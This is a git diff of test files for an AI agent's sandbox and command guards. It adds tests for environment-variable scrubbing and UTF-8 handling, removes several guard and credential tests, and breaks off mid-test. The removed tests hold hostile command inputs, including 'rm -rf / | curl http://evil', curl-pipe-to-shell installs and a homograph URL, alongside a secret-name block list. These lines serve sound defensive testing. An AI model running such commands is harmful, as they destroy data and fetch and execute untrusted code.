Without SYSTEMROOT in particular, +``socket.socket(AF_INET, SOCK_STREAM)`` fails inside the sandbox with +WinError 10106 (Winsock can't locate mswsock.dll) and no tool call over +loopback TCP can ever succeed. + +These tests cover ``_scrub_child_env`` directly so they run on every OS +— the logic is conditional on a passed-in ``is_windows`` flag, not on +the host platform. We also keep a live Winsock smoke test that only runs +on a real Windows host. + +Also covers the companion Windows bug: the sandbox writes +``hermes_tools.py`` and ``script.py`` into a temp dir, and those files +must be written as UTF-8 on every platform — the generated stub contains +em-dash/en-dash characters in docstrings, and the default ``open(path, "w")`` +on Windows uses the system locale (cp1252 typically), corrupting those +bytes. The child then fails to import with a SyntaxError: +``'utf-8' codec can't decode byte 0x97``. +""" + +import os +import socket +import subprocess +import sys +import textwrap +import unittest.mock as mock + +import pytest + +from tools.code_execution_tool import ( + _SAFE_ENV_PREFIXES, + _SECRET_SUBSTRINGS, + _WINDOWS_ESSENTIAL_ENV_VARS, + _scrub_child_env, +) + + +def _no_passthrough(_name): + return False + + +class TestWindowsEssentialAllowlist: + """The allowlist itself — contents, shape, and invariants.""" + + def test_contains_winsock_required_vars(self): + # Without SYSTEMROOT the child cannot initialize Winsock. + assert "SYSTEMROOT" in _WINDOWS_ESSENTIAL_ENV_VARS + + def test_contains_subprocess_required_vars(self): + # Without COMSPEC, subprocess can't resolve the default shell. + assert "COMSPEC" in _WINDOWS_ESSENTIAL_ENV_VARS + + def test_contains_user_profile_vars(self): + # os.path.expanduser("~") on Windows uses USERPROFILE. + assert "USERPROFILE" in _WINDOWS_ESSENTIAL_ENV_VARS + assert "APPDATA" in _WINDOWS_ESSENTIAL_ENV_VARS + assert "LOCALAPPDATA" in _WINDOWS_ESSENTIAL_ENV_VARS + + def test_contains_only_uppercase_names(self): + # Windows env var names are case-insensitive but we canonicalize to + # uppercase for the membership check (``k.upper() in _WINDOWS_...``). + for name in _WINDOWS_ESSENTIAL_ENV_VARS: + assert name == name.upper(), f"{name!r} should be uppercase" + + def test_no_overlap_with_secret_substrings(self): + # Sanity: none of the essential OS vars should look like secrets. + # If this ever fires, we'd have a precedence ordering bug (secrets + # are blocked *before* the essentials check). + for name in _WINDOWS_ESSENTIAL_ENV_VARS: + assert not any(s in name for s in _SECRET_SUBSTRINGS), ( + f"{name!r} looks secret-like — would be blocked before the " + "essentials allowlist can match" + ) + + +class TestScrubChildEnvWindows: + """Verify _scrub_child_env passes Windows essentials through when + is_windows=True and blocks them when is_windows=False (so POSIX hosts + don't inherit pointless Windows vars).""" + + def _sample_windows_env(self): + """A realistic subset of what os.environ looks like on Windows.""" + return { + "SYSTEMROOT": r"C:\Windows", + "SystemDrive": "C:", # Windows preserves native case + "WINDIR": r"C:\Windows", + "ComSpec": r"C:\Windows\System32\cmd.exe", + "PATHEXT": ".COM;.EXE;.BAT;.CMD;.PY", + "USERPROFILE": r"C:\Users\alice", + "APPDATA": r"C:\Users\alice\AppData\Roaming", + "LOCALAPPDATA": r"C:\Users\alice\AppData\Local", + "PATH": r"C:\Windows\System32;C:\Python311", + "HOME": r"C:\Users\alice", + "TEMP": r"C:\Users\alice\AppData\Local\Temp", + # Should still be blocked: + "OPENAI_API_KEY": "sk-secret", + "GITHUB_TOKEN": "ghp_secret", + "MY_PASSWORD": "hunter2", + # Not matched by any rule — should be dropped on both OSes: + "RANDOM_UNKNOWN_VAR": "value", + } + + def test_windows_essentials_passed_through_when_is_windows_true(self): + env = self._sample_windows_env() + scrubbed = _scrub_child_env(env, + is_passthrough=_no_passthrough, + is_windows=True) + + # Every essential var from the sample env should survive. + assert scrubbed["SYSTEMROOT"] == r"C:\Windows" + assert scrubbed["SystemDrive"] == "C:" # case preserved + assert scrubbed["WINDIR"] == r"C:\Windows" + assert scrubbed["ComSpec"] == r"C:\Windows\System32\cmd.exe" + assert scrubbed["PATHEXT"] == ".COM;.EXE;.BAT;.CMD;.PY" + assert scrubbed["USERPROFILE"] == r"C:\Users\alice" + assert scrubbed["APPDATA"].endswith("Roaming") + assert scrubbed["LOCALAPPDATA"].endswith("Local") + + # Safe-prefix vars still pass (baseline behavior). + assert "PATH" in scrubbed + assert "HOME" in scrubbed + assert "TEMP" in scrubbed + + def test_secrets_still_blocked_on_windows(self): + """The Windows allowlist must NOT defeat the secret-substring block. + + This is the key security invariant: essentials are allowed by + *exact name*, and the secret-substring block runs before the + essentials check anyway, so a variable named e.g. ``API_KEY`` can + never sneak through just because we added Windows support. + """ + env = self._sample_windows_env() + scrubbed = _scrub_child_env(env, + is_passthrough=_no_passthrough, + is_windows=True) + assert "OPENAI_API_KEY" not in scrubbed + assert "GITHUB_TOKEN" not in scrubbed + assert "MY_PASSWORD" not in scrubbed + + def test_unknown_vars_still_dropped_on_windows(self): + env = self._sample_windows_env() + scrubbed = _scrub_child_env(env, + is_passthrough=_no_passthrough, + is_windows=True) + assert "RANDOM_UNKNOWN_VAR" not in scrubbed + + def test_essentials_blocked_when_is_windows_false(self): + """On POSIX hosts, Windows-specific vars should not pass — they + have no meaning and could confuse child tooling.""" + env = self._sample_windows_env() + scrubbed = _scrub_child_env(env, + is_passthrough=_no_passthrough, + is_windows=False) + # Safe prefixes still match (PATH, HOME, TEMP). + assert "PATH" in scrubbed + assert "HOME" in scrubbed + assert "TEMP" in scrubbed + # But Windows OS vars should be dropped. + assert "SYSTEMROOT" not in scrubbed + assert "WINDIR" not in scrubbed + assert "ComSpec" not in scrubbed + assert "APPDATA" not in scrubbed + + def test_case_insensitive_essential_match(self): + """Windows env var names are case-insensitive at the OS level but + Python preserves whatever case os.environ reported. The scrubber + must normalize to uppercase for the membership check.""" + env = { + "SystemRoot": r"C:\Windows", # mixed case + "comspec": r"C:\Windows\System32\cmd.exe", # lowercase + "APPDATA": r"C:\Users\x\AppData\Roaming", # uppercase + } + scrubbed = _scrub_child_env(env, + is_passthrough=_no_passthrough, + is_windows=True) + assert "SystemRoot" in scrubbed + assert "comspec" in scrubbed + assert "APPDATA" in scrubbed + + +class TestScrubChildEnvPassthroughInteraction: + """The passthrough hook runs *before* the secret block, so a skill + can legitimately forward a third-party API key. The Windows + essentials addition must not interfere with that.""" + + def test_passthrough_wins_over_secret_block(self): + env = {"TENOR_API_KEY": "x", "PATH": "/bin"} + scrubbed = _scrub_child_env(env, + is_passthrough=lambda k: k == "TENOR_API_KEY", + is_windows=False) + assert scrubbed.get("TENOR_API_KEY") == "x" + assert scrubbed.get("PATH") == "/bin" + + def test_passthrough_still_works_on_windows(self): + env = { + "TENOR_API_KEY": "x", + "SYSTEMROOT": r"C:\Windows", + "OPENAI_API_KEY": "sk-secret", # not passthrough + } + scrubbed = _scrub_child_env( + env, + is_passthrough=lambda k: k == "TENOR_API_KEY", + is_windows=True, + ) + assert scrubbed.get("TENOR_API_KEY") == "x" + assert scrubbed.get("SYSTEMROOT") == r"C:\Windows" + assert "OPENAI_API_KEY" not in scrubbed + + +@pytest.mark.skipif( + sys.platform != "win32", + reason="Winsock-specific regression — only meaningful on Windows", +) +class TestWindowsSocketSmokeTest: + """Integration-ish smoke test: spawn a child Python with a scrubbed + env and confirm it can create an AF_INET socket. This is the + regression that motivated the fix — without SYSTEMROOT the child + hits WinError 10106 before any RPC is attempted.""" + + def test_child_can_create_socket_with_scrubbed_env(self): + scrubbed = _scrub_child_env(os.environ, is_passthrough=_no_passthrough) + + # Build a tiny child script that simply opens an AF_INET socket. + script = textwrap.dedent(""" + import socket, sys + try: + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.close() + print("OK") + sys.exit(0) + except OSError as exc: + print(f"FAIL: {exc}") + sys.exit(1) + """).strip() + + result = subprocess.run( + [sys.executable, "-c", script], + env=scrubbed, + capture_output=True, + text=True, + timeout=15, + ) + assert result.returncode == 0, ( + f"Child failed to create socket with scrubbed env:\n" + f" stdout={result.stdout!r}\n" + f" stderr={result.stderr!r}\n" + f" scrubbed keys={sorted(scrubbed.keys())}" + ) + assert "OK" in result.stdout + + +# --------------------------------------------------------------------------- +# POSIX equivalence guard +# --------------------------------------------------------------------------- + +def _legacy_posix_scrubber(source_env, is_passthrough): + """Verbatim copy of the pre-Windows-fix inline scrubbing logic. + + This is the oracle used by TestPosixEquivalence to prove the refactor + did not change POSIX behavior. DO NOT edit this to "match" a future + production change — if _scrub_child_env's POSIX behavior legitimately + needs to evolve, delete this function and adjust the equivalence test + on purpose, so the churn is visible in review. + """ + _SAFE_ENV_PREFIXES = ("PATH", "HOME", "USER", "LANG", "LC_", "TERM", + "TMPDIR", "TMP", "TEMP", "SHELL", "LOGNAME", + "XDG_", "PYTHONPATH", "VIRTUAL_ENV", "CONDA", + "HERMES_") + _SECRET_SUBSTRINGS = ("KEY", "TOKEN", "SECRET", "PASSWORD", "CREDENTIAL", + "PASSWD", "AUTH") + out = {} + for k, v in source_env.items(): + if is_passthrough(k): + out[k] = v + continue + if any(s in k.upper() for s in _SECRET_SUBSTRINGS): + continue + if any(k.startswith(p) for p in _SAFE_ENV_PREFIXES): + out[k] = v + return out + + +class TestPosixEquivalence: + """Lock in the invariant that _scrub_child_env(env, is_windows=False) + behaves *bit-for-bit identically* to the pre-refactor inline scrubber. + + If this ever fails, it means somebody changed POSIX env-scrubbing + behavior — maybe on purpose, maybe not. Either way it should land + as a deliberate, reviewed change (update _legacy_posix_scrubber + above in the same PR). + + Rationale: the Windows-essentials patch refactored the scrubber into + a helper. Linux/macOS must not regress. This class gates that. + """ + + _POSIX_SYNTHETIC_ENV = { + # Safe-prefix matches + "PATH": "/usr/bin:/bin", + "HOME": "/home/alice", + "USER": "alice", + "LANG": "en_US.UTF-8", + "LC_CTYPE": "en_US.UTF-8", + "TERM": "xterm-256color", + "SHELL": "/bin/zsh", + "LOGNAME": "alice", + "TMPDIR": "/tmp", + "XDG_RUNTIME_DIR": "/run/user/1000", + "XDG_CONFIG_HOME": "/home/alice/.config", + "PYTHONPATH": "/opt/lib", + "VIRTUAL_ENV": "/home/alice/.venv", + "CONDA_PREFIX": "/opt/conda", + "HERMES_HOME": "/home/alice/.hermes", + "HERMES_INTERACTIVE": "1", + # Secret-substring blocks + "OPENAI_API_KEY": "sk-xxx", + "GITHUB_TOKEN": "ghp_xxx", + "AWS_SECRET_ACCESS_KEY": "yyy", + "MY_PASSWORD": "hunter2", + # Uncategorized — must be dropped + "RANDOM_UNKNOWN": "drop-me", + "DISPLAY": ":0", + "SSH_AUTH_SOCK": "/run/user/1000/ssh-agent", + # Passthrough candidate (also matches secret block by default) + "TENOR_API_KEY": "tenor-xxx", + } + + _WINDOWS_SYNTHETIC_ENV = { + # Windows-essential names (must be dropped on POSIX, passed on Win) + "SYSTEMROOT": r"C:\Windows", + "SystemDrive": "C:", + "WINDIR": r"C:\Windows", + "ComSpec": r"C:\Windows\System32\cmd.exe", + "PATHEXT": ".COM;.EXE;.BAT", + "USERPROFILE": r"C:\Users\alice", + "APPDATA": r"C:\Users\alice\AppData\Roaming", + "LOCALAPPDATA": r"C:\Users\alice\AppData\Local", + # Safe-prefix matches (cross-platform) + "PATH": r"C:\Python311;C:\Windows\System32", + "HOME": r"C:\Users\alice", + "TEMP": r"C:\Users\alice\AppData\Local\Temp", + # Secret-looking (always blocked) + "OPENAI_API_KEY": "sk-xxx", + "GITHUB_TOKEN": "ghp_xxx", + } + + @pytest.mark.parametrize("env_name,env", [ + ("posix_synthetic", _POSIX_SYNTHETIC_ENV), + ("windows_synthetic_on_posix", _WINDOWS_SYNTHETIC_ENV), + ]) + @pytest.mark.parametrize("pt_name,pt", [ + ("no_passthrough", lambda _: False), + ("tenor_passthrough", lambda k: k == "TENOR_API_KEY"), + ("all_passthrough", lambda _: True), + ]) + def test_posix_behavior_unchanged(self, env_name, env, pt_name, pt): + """For every combination of (env shape × passthrough rule), the + new helper with is_windows=False must produce the exact same dict + as the legacy inline scrubber. + + We parametrize over three passthrough rules to cover the full + surface: no passthrough, single-var passthrough (the common + skill-registered case), and everything-passes (edge case that + could expose precedence bugs).""" + expected = _legacy_posix_scrubber(env, pt) + actual = _scrub_child_env(env, is_passthrough=pt, is_windows=False) + assert actual == expected, ( + f"POSIX behavior regressed for env={env_name}, passthrough={pt_name}\n" + f" only in legacy: {sorted(set(expected) - set(actual))}\n" + f" only in new: {sorted(set(actual) - set(expected))}\n" + f" value diffs: {[k for k in expected if k in actual and expected[k] != actual[k]]}" + ) + + def test_posix_behavior_unchanged_on_real_os_environ(self): + """Bonus check against the actual os.environ of the host running + the test. This covers vars we might not have thought to put in + the synthetic fixtures.""" + expected = _legacy_posix_scrubber(os.environ, lambda _: False) + actual = _scrub_child_env(os.environ, + is_passthrough=lambda _: False, + is_windows=False) + assert actual == expected, ( + "POSIX-mode scrubber diverged from legacy behavior on real " + f"os.environ (host platform={sys.platform})" + ) + + def test_windows_mode_is_strict_superset_of_posix_mode(self): + """Correctness check on the NEW behavior: is_windows=True must + keep everything POSIX mode keeps, and *may* add Windows + essentials. It must never drop a var that POSIX mode would keep + — if it did, we'd have broken same-host reuse of the scrubber.""" + env = {**self._POSIX_SYNTHETIC_ENV, **self._WINDOWS_SYNTHETIC_ENV} + posix_result = _scrub_child_env(env, + is_passthrough=lambda _: False, + is_windows=False) + windows_result = _scrub_child_env(env, + is_passthrough=lambda _: False, + is_windows=True) + missing = set(posix_result) - set(windows_result) + assert not missing, ( + f"is_windows=True dropped vars that is_windows=False kept: {missing}" + ) + # And any extras must come from the Windows essentials allowlist. + extras = set(windows_result) - set(posix_result) + for k in extras: + assert k.upper() in _WINDOWS_ESSENTIAL_ENV_VARS, ( + f"Unexpected extra var in windows-mode output: {k} " + f"(not in _WINDOWS_ESSENTIAL_ENV_VARS)" + ) + + +# --------------------------------------------------------------------------- +# UTF-8 file-write regression test +# --------------------------------------------------------------------------- +# +# The sandbox writes two Python files into a temp dir — the generated +# ``hermes_tools.py`` stub, and the LLM's ``script.py``. Both contain +# non-ASCII characters in practice: the stub has em-dashes in docstrings +# ("``tcp://host:port`` — the parent falls back..."), and user scripts +# routinely contain non-ASCII strings, comments, or Unicode identifiers. +# +# On Windows, ``open(path, "w")`` without encoding= uses the system locale +# (cp1252 on US/UK installs), which cannot encode em-dashes. Python then +# tries to decode the file as UTF-8 when importing it (PEP 3120), fails, +# and the sandbox aborts with: +# +# SyntaxError: (unicode error) 'utf-8' codec can't decode byte 0x97 +# in position N: invalid start byte +# +# This was the *second* Windows-specific bug (WinError 10106 was the first). +# The fix is to always pass ``encoding="utf-8"`` when writing Python source. + + +class TestSandboxWritesUtf8: + """Verify the file-write call sites use UTF-8 explicitly, not the + platform default. We check the source of ``execute_code`` rather + than spawning a real sandbox because the latter needs a full agent + context — but the code inspection is deterministic and fast.""" + + def test_stub_and_script_writes_specify_utf8(self): + """Both ``hermes_tools.py`` and ``script.py`` writes in + ``_execute_local`` must pass ``encoding="utf-8"``.""" + import tools.code_execution_tool as cet + src = open(cet.__file__, encoding="utf-8").read() + + # There should be no ``open(path, "w")`` without encoding= for + # the two staging files. Grep-style check: find every write of + # a .py file inside tmpdir and assert the line also contains + # ``encoding="utf-8"`` within a short window. + import re + pattern = re.compile( + r'open\(\s*os\.path\.join\(\s*tmpdir\s*,\s*"[^"]+\.py"\s*\)\s*,\s*"w"[^)]*\)' + ) + for match in pattern.finditer(src): + line = match.group(0) + assert 'encoding="utf-8"' in line or "encoding='utf-8'" in line, ( + f"Sandbox file write missing encoding=\"utf-8\" on Windows: {line!r}" + ) + + def test_file_rpc_stub_uses_utf8(self): + """The file-based RPC transport stub (used by remote backends) + reads/writes JSON response files. Those must also specify UTF-8 + so non-ASCII tool results survive the round-trip intact.""" + from tools.code_execution_tool import generate_hermes_tools_module + stub = generate_hermes_tools_module(["terminal"], transport="file") + # The generated stub should open response + request files as UTF-8. + assert 'encoding="utf-8"' in stub, ( + "File-based RPC stub does not specify encoding=\"utf-8\" — " + "will corrupt non-ASCII tool results on non-UTF-8 locales." + ) + + def test_stub_source_roundtrips_through_utf8(self): + """Concrete regression: write the generated stub to a temp file + using ``encoding="utf-8"``, then parse it. This is what the + sandbox does, and it must succeed even when the stub contains + em-dashes (which it does — check the transport-header docstring). + """ + from tools.code_execution_tool import generate_hermes_tools_module + import tempfile, ast + stub = generate_hermes_tools_module( + ["terminal", "read_file", "write_file"], transport="uds" + ) + # Sanity: stub actually contains a non-ASCII character, otherwise + # this test wouldn't prove anything meaningful. + non_ascii = [c for c in stub if ord(c) > 127] + assert non_ascii, ( + "Generated stub is pure ASCII — test is meaningless. If the " + "stub's docstrings have lost their em-dashes, update this " + "assertion, but be aware the original regression is no longer " + "covered." + ) + + with tempfile.NamedTemporaryFile( + mode="w", suffix=".py", delete=False, encoding="utf-8" + ) as f: + f.write(stub) + tmp_path = f.name + + try: + # Re-read and parse exactly like the child Python would. + with open(tmp_path, encoding="utf-8") as fh: + round_tripped = fh.read() + assert round_tripped == stub, "UTF-8 round-trip corrupted the stub" + ast.parse(round_tripped) # must not raise SyntaxError + finally: + os.unlink(tmp_path) + + @pytest.mark.skipif( + sys.platform != "win32", + reason="cp1252 default-encoding regression is Windows-specific", + ) + def test_windows_default_encoding_would_have_failed(self): + """Negative control: prove that on Windows, writing the stub + *without* ``encoding="utf-8"`` would corrupt the file. If this + test ever starts failing (i.e. default write succeeds), it means + Python's default encoding has changed and the explicit UTF-8 + requirement may be obsolete — reconsider the fix.""" + from tools.code_execution_tool import generate_hermes_tools_module + import tempfile + + stub = generate_hermes_tools_module(["terminal"], transport="uds") + # Find a non-ASCII character we can use to prove the corruption. + non_ascii = [c for c in stub if ord(c) > 127] + if not non_ascii: + pytest.skip("stub has no non-ASCII chars — nothing to corrupt") + + # Write with default encoding (simulating the old buggy code). + with tempfile.NamedTemporaryFile( + mode="w", suffix=".py", delete=False + ) as f: + try: + f.write(stub) + tmp_path = f.name + wrote_successfully = True + except UnicodeEncodeError: + # Default encoding can't even encode it — that's the bug + # in a different form. Still proves the point. + tmp_path = f.name + wrote_successfully = False + + try: + if not wrote_successfully: + # Default-encoding write raised outright. The bug is real. + return + + # Read back as UTF-8 (what Python does on import). + with open(tmp_path, encoding="utf-8") as fh: + try: + fh.read() + # If this succeeds on Windows, the platform default is + # already UTF-8 (e.g. Python 3.15 with UTF-8 mode on). + # In that case the explicit encoding= is belt-and- + # suspenders but no longer strictly required. Skip. + pytest.skip( + "Default text-file encoding is UTF-8-compatible on " + "this Windows build — explicit encoding= is no " + "longer load-bearing, but keep it for belt-and-" + "suspenders." + ) + except UnicodeDecodeError: + # Exactly the failure mode that motivated the fix. + pass + finally: + os.unlink(tmp_path) + + +# --------------------------------------------------------------------------- +# UTF-8 stdio regression test +# --------------------------------------------------------------------------- +# +# The third Windows-specific sandbox bug: after the UTF-8 file-write fix +# let the child import hermes_tools, a user script that printed non-ASCII +# to stdout still crashed with: +# +# UnicodeEncodeError: 'charmap' codec can't encode character '\u2192' +# in position N: character maps to +# +# Python's sys.stdout on Windows is bound to the console code page +# (cp1252 on US-locale installs) when the process is attached to a pipe +# without PYTHONIOENCODING set. LLM-generated scripts routinely print +# em-dashes, arrows, accented chars, emoji — all of which break. +# +# Fix: spawn the child with PYTHONIOENCODING=utf-8 and PYTHONUTF8=1. +# The latter also makes open()'s default encoding UTF-8 (PEP 540), +# belt-and-suspenders for user scripts that do their own file I/O. + + +class TestChildStdioIsUtf8: + """Verify the sandbox child is spawned with UTF-8 stdio encoding, + so LLM scripts can print non-ASCII without crashing on Windows.""" + + def test_popen_env_sets_pythonioencoding_utf8(self): + """Source-level check: the Popen call site must set + PYTHONIOENCODING=utf-8 in child_env.""" + import tools.code_execution_tool as cet + src = open(cet.__file__, encoding="utf-8").read() + assert 'child_env["PYTHONIOENCODING"] = "utf-8"' in src, ( + "PYTHONIOENCODING=utf-8 missing from child env — Windows " + "scripts that print non-ASCII will crash with " + "UnicodeEncodeError." + ) + + def test_popen_env_sets_pythonutf8_mode(self): + """Source-level check: PYTHONUTF8=1 must be set too — it makes + open()'s default encoding UTF-8 in user-written file I/O.""" + import tools.code_execution_tool as cet + src = open(cet.__file__, encoding="utf-8").read() + assert 'child_env["PYTHONUTF8"] = "1"' in src, ( + "PYTHONUTF8=1 missing from child env — user scripts that " + "call open(path, 'w') without encoding= will produce " + "locale-encoded files on Windows." + ) + + def test_live_child_can_print_non_ascii(self): + """Live regression: spawn a Python child with the same env + treatment the sandbox uses (PYTHONIOENCODING=utf-8 + PYTHONUTF8=1) + and verify it can print em-dashes, arrows, and emoji to stdout + without crashing. This is the exact scenario that broke in live + usage. + + Runs on every OS — on POSIX the fix is belt-and-suspenders but + still load-bearing for C.ASCII locale environments. + """ + script = textwrap.dedent(""" + import sys + # Mix of chars that cp1252 can't encode: arrow, emoji. + print("em-dash \\u2014 arrow \\u2192 emoji \\U0001f680") + sys.exit(0) + """).strip() + + # Build a scrubbed env the same way the sandbox does, then apply + # the stdio overrides. + scrubbed = _scrub_child_env(os.environ, is_passthrough=_no_passthrough) + scrubbed["PYTHONIOENCODING"] = "utf-8" + scrubbed["PYTHONUTF8"] = "1" + + result = subprocess.run( + [sys.executable, "-c", script], + env=scrubbed, + capture_output=True, + timeout=15, + # Don't decode at the subprocess boundary — we want to check + # the raw bytes match UTF-8, same as what the sandbox does. + ) + assert result.returncode == 0, ( + f"Child crashed printing non-ASCII:\n" + f" stdout (raw): {result.stdout!r}\n" + f" stderr (raw): {result.stderr!r}" + ) + decoded = result.stdout.decode("utf-8") + assert "\u2014" in decoded, f"em-dash missing from output: {decoded!r}" + assert "\u2192" in decoded, f"arrow missing from output: {decoded!r}" + assert "\U0001f680" in decoded, f"emoji missing from output: {decoded!r}" + + @pytest.mark.skipif( + sys.platform != "win32", + reason="cp1252 stdout default is Windows-specific", + ) + def test_windows_child_without_utf8_env_would_fail(self): + """Negative control: spawn a Python child *without* our env + overrides and prove that on Windows, printing non-ASCII fails. + If this ever starts passing, Python has changed its default + stdio encoding on Windows and the fix may be obsolete — but + keep the env vars anyway for belt-and-suspenders.""" + script = textwrap.dedent(""" + import sys + print("em-dash \\u2014 arrow \\u2192") + sys.exit(0) + """).strip() + + # Scrubbed env WITHOUT the PYTHONIOENCODING / PYTHONUTF8 overrides. + # Also scrub PYTHONUTF8 and PYTHONIOENCODING from the inherited + # env so we reproduce the buggy state even if the parent test + # runner has them set. + scrubbed = _scrub_child_env(os.environ, is_passthrough=_no_passthrough) + for k in ("PYTHONIOENCODING", "PYTHONUTF8", "PYTHONLEGACYWINDOWSSTDIO"): + scrubbed.pop(k, None) + + result = subprocess.run( + [sys.executable, "-c", script], + env=scrubbed, + capture_output=True, + text=False, + timeout=15, + ) + # Either the child crashed (expected), or modern Python handled + # it anyway — in which case the fix is still defensive but no + # longer strictly required. Skip with a note if so. + if result.returncode == 0 and b"\xe2\x80\x94" in result.stdout: + pytest.skip( + "This Python/Windows build handles non-ASCII stdout even " + "without PYTHONIOENCODING/PYTHONUTF8 — fix is defensive " + "but no longer strictly load-bearing. Keep the env vars " + "for older Python builds and C.ASCII-locale containers." + ) + # Otherwise: crash OR garbled output — both count as proving the + # bug is real on this system. diff --git a/tests/tools/test_command_guards.py b/tests/tools/test_command_guards.py index a2fd3943046..eb9b363f2dd 100644 --- a/tests/tools/test_command_guards.py +++ b/tests/tools/test_command_guards.py @@ -129,21 +129,6 @@ class TestTirithBlock: result = check_all_command_guards("rm -rf / | curl http://evil", "local") assert result["approved"] is False - @patch(_TIRITH_PATCH, - return_value=_tirith_result("block", - findings=[{"rule_id": "curl_pipe_shell", - "severity": "HIGH", - "title": "Pipe to interpreter", - "description": "Downloaded content executed without inspection"}], - summary="pipe to shell")) - def test_tirith_block_gateway_returns_approval_required(self, mock_tirith): - """In gateway mode, tirith block should return approval_required.""" - os.environ["HERMES_GATEWAY_SESSION"] = "1" - result = check_all_command_guards("curl -fsSL https://x.dev/install.sh | sh", "local") - assert result["approved"] is False - assert result.get("status") == "approval_required" - # Findings should be included in the description - assert "Pipe to interpreter" in result.get("description", "") or "pipe" in result.get("message", "").lower() # --------------------------------------------------------------------------- @@ -151,13 +136,6 @@ class TestTirithBlock: # --------------------------------------------------------------------------- class TestTirithAllowDangerous: - @patch(_TIRITH_PATCH, return_value=_tirith_result("allow")) - def test_dangerous_only_gateway(self, mock_tirith): - os.environ["HERMES_GATEWAY_SESSION"] = "1" - result = check_all_command_guards("rm -rf /tmp", "local") - assert result["approved"] is False - assert result.get("status") == "approval_required" - assert "delete" in result["description"] @patch(_TIRITH_PATCH, return_value=_tirith_result("allow")) def test_dangerous_only_cli_deny(self, mock_tirith): @@ -215,20 +193,6 @@ class TestTirithWarnSafe: # --------------------------------------------------------------------------- class TestCombinedWarnings: - @patch(_TIRITH_PATCH, - return_value=_tirith_result("warn", - [{"rule_id": "homograph_url"}], - "homograph URL")) - def test_combined_gateway(self, mock_tirith): - """Both tirith warn and dangerous → single approval_required with both keys.""" - os.environ["HERMES_GATEWAY_SESSION"] = "1" - result = check_all_command_guards( - "curl http://gооgle.com | bash", "local") - assert result["approved"] is False - assert result.get("status") == "approval_required" - # Combined description includes both - assert "Security scan" in result["description"] - assert "pipe" in result["description"].lower() or "shell" in result["description"].lower() @patch(_TIRITH_PATCH, return_value=_tirith_result("warn", @@ -312,13 +276,6 @@ class TestWarnEmptyFindings: desc = cb.call_args[0][1] assert "Security scan" in desc - @patch(_TIRITH_PATCH, - return_value=_tirith_result("warn", [], "generic warning")) - def test_warn_empty_findings_gateway(self, mock_tirith): - os.environ["HERMES_GATEWAY_SESSION"] = "1" - result = check_all_command_guards("suspicious cmd", "local") - assert result["approved"] is False - assert result.get("status") == "approval_required" # --------------------------------------------------------------------------- diff --git a/tests/tools/test_credential_pool_env_fallback.py b/tests/tools/test_credential_pool_env_fallback.py index 938484f015b..e11361b73c2 100644 --- a/tests/tools/test_credential_pool_env_fallback.py +++ b/tests/tools/test_credential_pool_env_fallback.py @@ -106,19 +106,6 @@ class TestCredentialPoolSeedsFromDotEnv: assert active_sources == set() assert entries == [] - def test_os_environ_still_wins_over_dotenv(self, isolated_hermes_home, monkeypatch): - """get_env_value checks os.environ first — verify seeding picks that up.""" - _write_env_file(isolated_hermes_home, DEEPSEEK_API_KEY="sk-dotenv-stale") - monkeypatch.setenv("DEEPSEEK_API_KEY", "sk-env-fresh-xyz") - - from agent.credential_pool import _seed_from_env - entries = [] - changed, _ = _seed_from_env("deepseek", entries) - - assert changed is True - seeded = [e for e in entries if e.source == "env:DEEPSEEK_API_KEY"] - assert len(seeded) == 1 - assert seeded[0].access_token == "sk-env-fresh-xyz" class TestAuthResolvesFromDotEnv: diff --git a/tests/tools/test_daytona_environment.py b/tests/tools/test_daytona_environment.py index 7f5aa17ece2..2c292ae6856 100644 --- a/tests/tools/test_daytona_environment.py +++ b/tests/tools/test_daytona_environment.py @@ -299,24 +299,6 @@ class TestExecute: assert "print" in cmd assert "hi" in cmd - def test_custom_cwd_in_command_wrapper(self, make_env): - """CWD is handled by _wrap_command() in the command string, not as a kwarg.""" - sb = _make_sandbox() - sb.process.exec.side_effect = [ - _make_exec_response(result="/root"), - _make_exec_response(result="", exit_code=0), # init_session - _make_exec_response(result="/tmp", exit_code=0), - ] - sb.state = "started" - env = make_env(sandbox=sb) - - env.execute("pwd", cwd="/tmp") - # CWD should be embedded in the command string via _wrap_command - call_args = sb.process.exec.call_args_list[-1] - cmd = call_args[0][0] - assert "cd /tmp" in cmd - # CWD should NOT be passed as a kwarg to exec - assert "cwd" not in call_args[1] def test_daytona_error_triggers_retry(self, make_env, daytona_sdk): sb = _make_sandbox() diff --git a/tests/tools/test_delegate.py b/tests/tools/test_delegate.py index c45de2a581f..3a6df2bcf41 100644 --- a/tests/tools/test_delegate.py +++ b/tests/tools/test_delegate.py @@ -767,44 +767,7 @@ class TestDelegationCredentialResolution(unittest.TestCase): self.assertIsNone(creds["base_url"]) self.assertIsNone(creds["api_key"]) - @patch("hermes_cli.runtime_provider.resolve_runtime_provider") - def test_provider_resolves_full_credentials(self, mock_resolve): - """When delegation.provider is set, full credentials are resolved.""" - mock_resolve.return_value = { - "provider": "openrouter", - "base_url": "https://openrouter.ai/api/v1", - "api_key": "sk-or-test-key", - "api_mode": "chat_completions", - } - parent = _make_mock_parent(depth=0) - cfg = {"model": "google/gemini-3-flash-preview", "provider": "openrouter"} - creds = _resolve_delegation_credentials(cfg, parent) - self.assertEqual(creds["model"], "google/gemini-3-flash-preview") - self.assertEqual(creds["provider"], "openrouter") - self.assertEqual(creds["base_url"], "https://openrouter.ai/api/v1") - self.assertEqual(creds["api_key"], "sk-or-test-key") - self.assertEqual(creds["api_mode"], "chat_completions") - mock_resolve.assert_called_once_with(requested="openrouter") - @patch("hermes_cli.runtime_provider.resolve_runtime_provider") - def test_provider_resolution_uses_runtime_model_when_config_model_missing(self, mock_resolve): - """Named providers should propagate their runtime default model to children.""" - mock_resolve.return_value = { - "provider": "custom", - "base_url": "https://my-server.example/v1", - "api_key": "sk-test-key", - "api_mode": "chat_completions", - "model": "server-default-model", - } - parent = _make_mock_parent(depth=0) - cfg = {"provider": "custom:my-server", "model": ""} - - creds = _resolve_delegation_credentials(cfg, parent) - - self.assertEqual(creds["model"], "server-default-model") - self.assertEqual(creds["provider"], "custom") - self.assertEqual(creds["base_url"], "https://my-server.example/v1") - mock_resolve.assert_called_once_with(requested="custom:my-server") def test_direct_endpoint_uses_configured_base_url_and_api_key(self): parent = _make_mock_parent(depth=0) @@ -853,22 +816,6 @@ class TestDelegationCredentialResolution(unittest.TestCase): self.assertIsNone(creds["api_key"]) self.assertEqual(creds["provider"], "custom") - @patch("hermes_cli.runtime_provider.resolve_runtime_provider") - def test_nous_provider_resolves_nous_credentials(self, mock_resolve): - """Nous provider resolves Nous Portal base_url and api_key.""" - 